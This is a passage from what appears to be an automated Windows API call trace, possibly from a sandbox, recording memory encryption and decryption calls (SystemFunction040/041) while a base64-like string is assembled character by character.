0x10 [0127.524] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.524] SysStringLen (param_1="3dmDnlxn+spl堏湜槻飤") returned 0x10 [0127.524] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.524] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\xaca3\x7201\x8581\xd811\x1aa8\x8664\x9032\xa147") returned 0x10 [0127.524] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\xaca3\x7201\x8581\xd811\x1aa8\x8664\x9032\xa147") returned 0x10 [0127.524] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.525] SysStringLen (param_1="3dmDnlxn+splG湜槻飤") returned 0x10 [0127.525] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.525] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\xa21f\x1626\x6a4e\x4901\xfbb8\x2286\x89d2\xc60d") returned 0x10 [0127.525] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\xa21f\x1626\x6a4e\x4901\xfbb8\x2286\x89d2\xc60d") returned 0x10 [0127.525] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.525] SysStringLen (param_1="3dmDnlxn+splGf槻飤") returned 0x10 [0127.525] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.525] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x71ee\x94a3\x5727\xae1f\xe4a2\x3c3a\x8fe8\x93b2") returned 0x10 [0127.525] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x71ee\x94a3\x5727\xae1f\xe4a2\x3c3a\x8fe8\x93b2") returned 0x10 [0127.525] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.525] SysStringLen (param_1="3dmDnlxn+splGfP飤") returned 0x10 [0127.525] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.525] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x6495\xc2ae\x759d\xc707\x396d\x55e4\x1db9\x2291") returned 0x10 [0127.525] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x6495\xc2ae\x759d\xc707\x396d\x55e4\x1db9\x2291") returned 0x10 [0127.525] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.525] SysStringLen (param_1="3dmDnlxn+splGfP7") returned 0x10 [0127.525] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.525] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79") returned 0x10 [0127.525] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79") returned 0x10 [0127.525] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79") returned 0x10 [0127.525] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79") returned 0x18 [0127.525] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.525] SysStringLen (param_1="3dmDnlxn+splGfP7M㛔㲙ক彌뷞ꓕ춪") returned 0x18 [0127.526] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.526] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xda35\x4dc6\x619\x7a85\x9aa6\xe5e6\xb19f\xd5fc") returned 0x18 [0127.526] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xda35\x4dc6\x619\x7a85\x9aa6\xe5e6\xb19f\xd5fc") returned 0x18 [0127.526] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.526] SysStringLen (param_1="3dmDnlxn+splGfP7MY㲙ক彌뷞ꓕ춪") returned 0x18 [0127.526] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.526] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xe175\xaaf3\x5012\x5e02\x7751\xa85c\xe604\x4b9a") returned 0x18 [0127.526] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xe175\xaaf3\x5012\x5e02\x7751\xa85c\xe604\x4b9a") returned 0x18 [0127.526] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.526] SysStringLen (param_1="3dmDnlxn+splGfP7MYaক彌뷞ꓕ춪") returned 0x18 [0127.526] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.526] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xc2ab\x23ac\x7a7e\x6dcd\xf0ad\xb9ed\x39e8\x9371") returned 0x18 [0127.526] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xc2ab\x23ac\x7a7e\x6dcd\xf0ad\xb9ed\x39e8\x9371") returned 0x18 [0127.526] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.526] SysStringLen (param_1="3dmDnlxn+splGfP7MYad彌뷞ꓕ춪") returned 0x18 [0127.526] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.526] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfc3f\x6990\xf947\x8ff\xb453\x878a\x7916\x4132") returned 0x18 [0127.526] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfc3f\x6990\xf947\x8ff\xb453\x878a\x7916\x4132") returned 0x18 [0127.526] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.526] SysStringLen (param_1="3dmDnlxn+splGfP7MYadp뷞ꓕ춪") returned 0x18 [0127.526] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.526] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\x7edb\x9dfb\x6253\xf8f0\x17d\xda42\x4304\xdd8e") returned 0x18 [0127.526] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\x7edb\x9dfb\x6253\xf8f0\x17d\xda42\x4304\xdd8e") returned 0x18 [0127.526] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.527] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEꓕ춪") returned 0x18 [0127.527] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.527] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\x8539\x6c63\xdfe9\xf379\x4924\xc350\xec3d\x9f6") returned 0x18 [0127.527] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\x8539\x6c63\xdfe9\xf379\x4924\xc350\xec3d\x9f6") returned 0x18 [0127.527] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.527] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEU춪") returned 0x18 [0127.527] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.527] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xe48d\xffe1\x8422\x8b99\x187b\xb0df\x6438\xf0f5") returned 0x18 [0127.527] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xe48d\xffe1\x8422\x8b99\x187b\xb0df\x6438\xf0f5") returned 0x18 [0127.527] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.527] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUo") returned 0x18 [0127.527] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.527] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c") returned 0x18 [0127.527] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c") returned 0x18 [0127.527] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c") returned 0x18 [0127.527] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c") returned 0x20 [0127.527] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.527] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoS筑浈࠴睭巉卙噟") returned 0x20 [0127.527] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.527] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\xa49e\x1284\x86fa\x789b\x4680\x868e\x63d6\x6cbe") returned 0x20 [0127.527] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\xa49e\x1284\x86fa\x789b\x4680\x868e\x63d6\x6cbe") returned 0x20 [0127.527] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.528] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSp浈࠴睭巉卙噟") returned 0x20 [0127.528] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.528] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x9652\x1f6a\xefbe\x43e3\x66e9\x8a05\xb0a5\x738d") returned 0x20 [0127.528] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x9652\x1f6a\xefbe\x43e3\x66e9\x8a05\xb0a5\x738d") returned 0x20 [0127.528] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.528] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQ࠴睭巉卙噟") returned 0x20 [0127.528] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.528] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\xbc97\xa1ea\x984c\x2d42\xd367\x39bd\xd2be\xbb83") returned 0x20 [0127.528] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\xbc97\xa1ea\x984c\x2d42\xd367\x39bd\xd2be\xbb83") returned 0x20 [0127.528] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.528] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQn睭巉卙噟") returned 0x20 [0127.528] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.528] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x9b44\xb242\x79b2\x15d0\x7f60\xfeda\xa491\xd8f2") returned 0x20 [0127.528] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x9b44\xb242\x79b2\x15d0\x7f60\xfeda\xa491\xd8f2") returned 0x20 [0127.528] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.528] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb巉卙噟") returned 0x20 [0127.528] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.528] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x78ba\xe8d0\xb456\xb190\x9ba8\x9f1d\xfcd2\x7606") returned 0x20 [0127.528] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x78ba\xe8d0\xb456\xb190\x9ba8\x9f1d\xfcd2\x7606") returned 0x20 [0127.528] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.528] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4卙噟") returned 0x20 [0127.528] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.528] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\xca9b\xc7fc\xb461\x8014\xe159\x18a7\xe521\xcd41") returned 0x20 [0127.529] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\xca9b\xc7fc\xb461\x8014\xe159\x18a7\xe521\xcd41") returned 0x20 [0127.529] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.529] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4+噟") returned 0x20 [0127.529] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.529] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x5bca\x668b\xff54\xfaae\xd3f6\x1c3e\x45a4\xd0b") returned 0x20 [0127.529] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x5bca\x668b\xff54\xfaae\xd3f6\x1c3e\x45a4\xd0b") returned 0x20 [0127.529] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.529] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4++") returned 0x20 [0127.529] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.529] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f") returned 0x20 [0127.529] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f") returned 0x20 [0127.529] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f") returned 0x20 [0127.529] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f") returned 0x28 [0127.529] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.529] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4++6෬仧䅃崂ࢱ犓喅") returned 0x28 [0127.529] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.529] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x5252\xe6cb\x31ab\xe563\x2e9a\x889e\xad34\xff74") returned 0x28 [0127.529] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x5252\xe6cb\x31ab\xe563\x2e9a\x889e\xad34\xff74") returned 0x28 [0127.529] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.529] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4++6F仧䅃崂ࢱ犓喅") returned 0x28 [0127.529] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.529] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x3d4b\x2d7b\x480e\x4b38\x513e\xfff1\x3388\xce") returned 0x28 [0127.530] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x3d4b\x2d7b\x480e\x4b38\x513e\xfff1\x3388\xce") returned 0x28 [0127.530] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.530] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4++6FV䅃崂ࢱ犓喅") returned 0x28 [0127.530] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.530] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x5c9a\xab3f\x5827\x2c6a\x8be3\xed8b\x59eb\xf01d") returned 0x28 [0127.530] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x5c9a\xab3f\x5827\x2c6a\x8be3\xed8b\x59eb\xf01d") returned 0x28 [0127.530] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.530] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4++6FVa崂ࢱ犓喅") returned 0x28 [0127.530] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.530] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x4add\xcd12\x1b3b\xcad9\x551d\xf025\x29a1\xef1c") returned 0x28 [0127.530] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x4add\xcd12\x1b3b\xcad9\x551d\xf025\x29a1\xef1c") returned 0x28 [0127.530] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.530] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4++6FVaqࢱ犓喅") returned 0x28 [0127.530] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.530] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\xa959\x2704\x8d40\xfd16\x58bb\xe6a7\x7756\x5b9f") returned 0x28 [0127.530] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\xa959\x2704\x8d40\xfd16\x58bb\xe6a7\x7756\x5b9f") returned 0x28 [0127.530] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.530] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4++6FVaqb犓喅") returned 0x28 [0127.530] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.530] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\xf905\x711a\xd882\x82bf\xf478\x9510\x6baa\xbd48") returned 0x28 [0127.530] SysStringLen 